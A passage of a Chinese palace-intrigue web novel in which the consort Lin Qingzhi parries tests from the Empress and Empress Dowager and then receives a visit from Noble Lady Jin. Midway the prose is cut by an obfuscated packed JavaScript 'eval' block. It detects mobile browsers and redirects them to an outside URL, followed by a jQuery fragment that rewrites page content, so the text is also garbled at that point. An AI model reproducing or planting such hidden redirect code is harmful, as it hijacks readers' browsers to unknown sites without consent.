所有人都瞬间起身，整理好衣容，快步走到正殿，按照位份依次站好，恭恭敬敬地垂首站着。皇后沈氏身着一身明黄色的素凤袍，头戴九尾凤簪，缓步走了进来，身姿挺拔，威仪十足，径直走到上首的凤椅上坐下。
“臣妾给皇后娘娘请安，皇后娘娘千岁千岁千千岁。”众人齐齐跪下，行三跪九叩的大礼，声音整齐划一，在寂静的正殿里响起。
“都起来吧。”皇后的声音平静无波，却带着不容置疑的威严，目光冷冷地扫过下方众人，“今日是定份位后，第一次集体请安，规矩本宫就不多说了，之前也都提过。入宫不比在潜邸，宫规森严，若是有人敢不守规矩，兴风作浪，本宫绝不轻饶。”
“臣妾谨遵皇后娘娘教诲。”众人再次躬身应道。
皇后的目光扫过众人，最后落在了站在常在末位的林清芷身上，嘴角勾起一抹淡淡的笑意，声音却带着一丝不易察觉的试探：“愉常在。”
林清芷心里一凛，连忙出列，跪在地上，垂首道：“奴婢在。”
“你住进承乾宫也有两日了，住得还习惯吗？”皇后的声音慢悠悠的，像一把软刀子，直直地刺了过来。
殿里瞬间静了下来，所有人的目光都落在了林清芷的身上，有好奇，有看戏，有幸灾乐祸。谁都知道，这句话是个坑。承乾宫是东六宫之首，历来是宠妃居住的地方，她一个小小的常在住进去，本就惹人非议，皇后这句话，就是要看她有没有觊觎之心。
若是说习惯，便是自认配得上承乾宫，有觊觎高位之心；若是说不习惯，便是对皇上的安排不满，是大不敬。
林清芷的头垂得更低，声音平稳，滴水不漏：“回皇后娘娘的话，承乾宫是皇上所赐，奴婢住得十分安心。只是奴婢位份低微，福薄，不敢叨扰承乾宫正殿的清净，只在东偏殿安分守己，恪守宫规，每日晨昏定省，不敢有半分逾矩，更不敢辜负皇上和娘娘的恩典。”
这番话，既谢了皇上的恩，又表明了自己没有野心，安分守己，还捧了皇后，挑不出半分错处。
皇后挑了挑眉，眼底闪过一丝意外，随即淡淡道：“你能明白就好，起来吧。记住你今天说的话，安分守己，恪守宫规，本宫自然不会亏待你。”
“谢皇后娘娘教诲。”林清芷恭恭敬敬地磕了个头，起身退回了原位，脸上没有丝毫波澜，手心却微微出了点汗。她知道，这只是皇后的第一次试探，往后，这样的试探只会越来越多。
请安又持续了半个时辰，皇后叮嘱了几句晨昏定省的规矩，又问了问几位皇子公主的近况，便摆了摆手：“时辰差不多了，随本宫去慈宁宫，给太后娘娘请安吧。”
众人连忙应下，跟在皇后的凤轿身后，浩浩荡荡地往慈宁宫去了。
慈宁宫是太后的居所，比起永寿宫的威严，更多了几分沉淀的底蕴与清净。宫门口种着两株百年的古柏，苍劲挺拔，守着这座安静的宫殿，连走路的声音都不自觉地放轻了。
仁宪太后是先帝的继后，无儿无女，当年是她一手扶持萧敬轩登上太子之位，如今萧敬轩登基，尊她为皇太后，居慈宁宫。太后今年五十岁，看透了后宫的风风雨雨，平日里闭门礼佛，不怎么管后宫的事，可她毕竟是太后，是这后宫里最尊贵的人，一句话，就能决定后宫妃嫔的生死荣辱。
众人跟着皇后走进慈宁宫正殿，殿里燃着淡淡的檀香，让人不自觉地静下心来。太后端坐在上首的凤椅上，穿着一身深棕色的素缎常服，头发梳得整整齐齐，戴着一支素金簪子，脸上没什么表情，眼神清明，带着看透世事的通透，静静地看着下方众人。
“臣妾给太后娘娘请安，太后娘娘福寿安康。”皇后带着众人齐齐跪下，行三跪九叩的大礼，声音恭敬无比。
“都起来吧。”太后的声音温和，却带着十足的威严，“皇帝刚登基，事情多，你们都要安分守己，好好伺候皇帝，打理好后宫，别给皇帝添乱，就是对我最大的孝心了。”
“臣妾谨遵太后娘娘教诲。”众人再次躬身应道。
太后抬了抬手，让皇后坐在了身侧的椅子上，又让宸贵妃、懿妃都坐了，其余的人依旧站在下方。她先是问了问几位皇子的情况，拉着贤嫔问了大皇子萧景瑞的功课，又叮嘱皇后好好教养嫡子萧景瑜，言语间对几个皇孙都十分看重，对两位公主也多有安抚，一碗水端得极平，挑不出半分错处。
说了半盏茶的话，太后的目光扫过下方，最后落在了站在常在末位的林清芷身上，微微顿了顿，开口道：“这位就是皇上安排在承乾宫的愉常在？”
林清芷心里一凛，连忙出列，跪在地上，垂首道：“奴婢林清芷，给太后娘娘请安，太后娘娘福寿安康。”
“抬起头来，让我看看。”太后的声音依旧温和。
林清芷缓缓抬起头，目光平静地看着太后，不卑不亢，没有丝毫慌乱。太后看着她，端详了片刻，点了点头，缓缓道：“倒是个清秀沉稳的，眉眼间带着一股子安分劲儿。皇上把你放在承乾宫，是你的福气，你要好好当差，安分守己，伺候好皇上，别辜负了皇上的心意。”
“奴婢谨记太后娘娘教诲，一定恪守宫规，安分守己，绝不敢有半分逾矩。”林清芷恭恭敬敬地磕了个头，声音平稳，没有丝毫波澜。
太后微微颔首，没再多说什么，目光又扫到了缩在最后面的慎答应许氏，微微挑眉：“这位是慎答应？”
慎答应吓得浑身一颤，连忙跌跌撞撞地出列跪下，头埋得极低，声音都在发抖：“奴、奴婢许氏，给太后娘娘请安，太后娘娘福寿安康。”
太后看着她吓得话都说不利索的样子，忍不住笑了笑，温和道：“别害怕，抬起头来。进了这宫，就是一家人，只要你安分守己，好好当差，没人会为难你。”
慎答应怯生生地抬起头，眼眶都红了，连忙磕了个头：“谢、谢太后娘娘。”
太后没再多说，摆了摆手，让两人都退了回去。又说了几句家常，便以自己累了为由，让众人都散了。
众人再次行礼告退，跟着皇后走出了慈宁宫。
一出慈宁宫的宫门，宫道上的气氛瞬间就变了。宸贵妃停下脚步，转过身，似笑非笑地看着林清芷，开口道：“愉常在倒是个有福气的，不仅皇上把你放在了承乾宫，连太后娘娘都特意提起你，真是让人羡慕。”
林清芷连忙躬身行礼，声音谦卑：“贵妃娘娘谬赞了，奴婢只是个小小的常在，能得皇上和太后娘娘的提点，是奴婢的福气，奴婢只会安分守己，绝不敢有半分非分之想。”
宸贵妃挑了挑眉，看着她这副滴水不漏的样子，笑了笑，没再多说，带着贤嫔和恪贵人转身走了。
懿妃路过林清芷身边时，停下脚步，温和地对她笑了笑，轻声道：“愉常在不必紧张，太后娘娘和皇后娘娘都是宽和的人，你只要安分守己，自然有你的好日子过。”
“谢懿妃娘娘提点。”林清芷再次躬身行礼。
懿妃笑了笑，带着淑嫔和惜常在也走了。恪贵人金氏路过时，脚步微微一顿，抬眼看向林清芷，眼神里带着一丝探究与深意，却没说话，只是微微颔首，便转身跟着宸贵妃的轿子去了。
皇后的凤轿就停在不远处，轿帘紧闭，没有掀开，可林清芷清楚，皇后就在轿子里，把这一切都看在了眼里。
她站在宫道上，看着各宫的轿子依次远去，春风卷着她的旗角，微微晃动。清禾上前一步，轻声道：“主子，咱们也回吧。”
林清芷点了点头，抬眼看向远处的承乾宫，阳光正好，照在承乾宫的琉璃瓦上，金光闪闪。
她心里清楚，从今天起，这后宫里所有人，都真正地注意到她了。皇后的试探，太后的关注，宸贵妃的好奇，懿妃的打量，还有金氏的探究，都落在了她的身上。
这深宫里的风起云涌，才刚刚开始。
可她不怕。
她抬手拢了拢鬓边的碎发，眼底闪过一丝坚定的光。她没有靠山，没有阵营，可她有自己，有清醒的头脑，有步步为营的耐心。
她要在这无边无际的深宫黑夜里，守住自己心里的那束光，一步步走下去，走到最高处，活成自己的太阳。
深宫中的光
第从慈宁宫出来的风，比晨起时更添了几分料峭。春日的阳光看着暖，落在身上却驱不散骨子里的寒意，就像这紫禁城的荣宠，看着光鲜，内里全是淬了毒的冰。
林清芷坐在回承乾宫的轿子里，指尖轻轻摩挲着袖口绣着的暗纹，脑子里一遍遍过着今日请安的所有细节。皇后的试探，太后的关注，宸贵妃的明嘲，懿妃的暗捧，还有恪贵人金氏那道带着探究与深意的目光，像一张密密麻麻的网，从她踏进永寿宫的那一刻起，就已经将她牢牢裹住。
她太清楚自己现在的处境了。
承乾宫东偏殿的位置，把她推到了所有人的眼皮子底下。无宠无出，家世普通，位份只是个小小的常在，却占着东六宫之首的偏殿，就像一个明晃晃的靶子。皇后防着她，怕她是皇上安插过来制衡中宫的棋子；宸贵妃盯着她，想把她拉进自己的阵营，用来对付皇后；懿妃看着她，想看看她到底有什么能耐，能不能成为搅乱局势的一把刀。
所谓的中立，从来都只是她一厢情愿的安稳。从太后特意开口叫她的那一刻起，这后宫里，就再也没有她能藏身的角落了。
“主子，承乾宫到了。”轿子稳稳落地，清禾的声音在轿外响起，打断了林清芷的思绪。
她定了定神，扶着清禾的手下了轿，抬眼看向这座气派的宫殿。明黄色的琉璃瓦在阳光下闪着光，朱红的宫墙厚重冰冷，正殿的门紧闭着，只有她住的东偏殿开着门，宫女太监们垂首站在门口，恭恭敬敬地迎她回来。
“都散了吧，不用在跟前守着。”林清芷淡淡吩咐了一句，抬脚走进了东偏殿。
殿里早就烧好了地龙，暖融融的，隔绝了外面的寒风。清秀连忙上前给她解下身上的素色披风，清禾端来了温热的参茶，轻声道：“主子，今日跑了一上午，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344789|199488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又是永寿宫又是慈宁宫的，想必累坏了。奴婢已经让小厨房备好了热水，您泡个澡解解乏吧？”
林清芷接过参茶抿了一口，暖意顺着喉咙滑下去，驱散了一身的寒意与疲惫。她点了点头：“好，备着吧。”
半个时辰后，沐浴的香汤已经备好。清禾和清秀守在屏风外，林清芷坐在浴桶里，温热的水漫过肩头，带着淡淡的安神香气息，紧绷了一上午的神经终于慢慢放松下来。
她闭着眼睛，脑子里却依旧清明。
今日在慈宁宫，太后看似是随口提起她和慎答应，实则是在敲打所有人。太后看重皇嗣，对有皇子的妃嫔多有安抚，对她们这些无宠无出的低位份妃嫔，看似温和，实则是在观察。太后是先帝的继后，一手扶持皇上登基，最看重的就是后宫的平衡，绝不会让皇后一家独大，也不会让宸贵妃恃宠而骄。
而皇上把她放在承乾宫，用意也正在此。他需要一个人，一个看似无依无靠、不会威胁到任何一方，却又足够聪明、能看懂局势的人，来打破后宫三派鼎立的僵局，来做那枚平衡各方的棋子。
可她林清芷，从来都不想做任何人的棋子。
“主子，水快凉了，奴婢给您添点热水吧？”清禾的声音在屏风外响起。
林清芷睁开眼，应了一声：“不用了，这就出来。”
她起身擦干身上的水，换上了一身月白色的素棉寝衣，料子柔软亲肤，是最家常的款式。头发还湿漉漉地披在身后，发梢滴着水，落在寝衣的领口，晕开一小片浅浅的湿痕。清秀拿了干净的帕子，给她擦着湿发，清禾则去收拾浴桶里的东西，殿里安安静静的，只有帕子擦过发丝的轻响。
就在这时，殿外突然传来了守门太监压低了声音的通报：“主子，恪贵人娘娘驾到——”
这句话像一块石头，瞬间打破了殿里的平静。
清秀擦头发的手猛地一顿，脸上瞬间变了颜色，慌慌张张地看向林清芷：“主子！恪贵人娘娘怎么来了？！”
清禾也快步从里间走了出来，眉头紧紧皱起，语气里满是警惕：“主子，恪贵人是宸贵妃阵营的人，这个时候突然到访，怕是来者不善。您现在还穿着寝衣，头发也没梳，不方便见客，要不奴婢去回了，说您已经歇下了？”
林清芷坐在梳妆台前，看着铜镜里自己素面朝天、湿发披肩的样子，指尖轻轻敲了敲桌面，眼底闪过一丝了然。
她早该想到的。今日在慈宁宫，太后特意提起了她，把她推到了所有人的面前，宸贵妃那边不可能没有动作。只是她没想到，金氏会来得这么快，这么急，甚至连一点缓冲的时间都不给她留。
更没想到，金氏会亲自来。
她是贵人，位份比自己这个常在高一级，按规矩，本该是她去给金氏请安，哪有高位份的主子主动登门拜访低位份常在的道理？这不合规矩，更不合常理。
事出反常必有妖。
金氏这一趟，绝不是随便来看看的，她的目的，昭然若揭——拉拢。
“不用回。”林清芷缓缓开口，声音平静，没有丝毫慌乱，“她既然来了，就没有不见的道理。躲得了初一，躲不了十五，该来的，总会来的。”
她抬眼看向清禾，吩咐道：“去把我那件石青色的常服拿过来，再给我梳个简单的发髻，别让贵客等久了。”
“可是主子，您的头发还湿着……”清秀急道。
“无妨，简单挽起来就好。”林清芷站起身，快步走到内间，换上了清禾拿来的常服。依旧是素净的料子，没有任何绣纹，却端庄得体，挑不出半分错处。清秀手忙脚乱地给她把湿发挽成一个简单的垂鬟分肖髻，只用两支素银簪子固定住，脸上连一点薄粉都来不及施，就这么素面朝天的，快步走到了外殿。
刚站定，殿外就传来了脚步声，守门太监高声唱喏：“恪贵人娘娘到——”
林清芷连忙整理好衣容，快步走到殿门口，恭恭敬敬地垂首站着，对着迎面走来的金氏行了个标准的蹲礼：“奴婢林清芷，给恪贵人娘娘请安，娘娘吉祥。”
金氏就站在殿门口，一身湖蓝色的素缎常服，头上只插了一支珍珠簪子，素净却不失体面。她今年二十岁，和林清芷同岁，眉眼清秀，看着温婉无害，可眼底却藏着一丝不易察觉的精明与深沉。她看着跪在自己面前的林清芷，嘴角勾起一抹温和的笑意，快步上前，伸手虚扶了一把：“愉常在快起来，不必多礼。我就是闲来无事，过来看看你，不用这么拘礼。”
“谢娘娘。”林清芷顺势起身，垂首站在一侧，做出恭谨的样子，侧身引着金氏往殿里走，“娘娘大驾光临，奴婢这偏殿蓬荜生辉，快请上座。”
金氏也不客气，径直走到殿里的上首位置坐下。清禾连忙端上了热茶，恭恭敬敬地放在她手边，又给林清芷端了一杯，便和清秀一起退到了殿门口，守在外面，警惕地看着四周，耳朵却竖得高高的，听着殿里的动静。
殿里一时间静了下来，只有茶盏落在桌面上的轻响。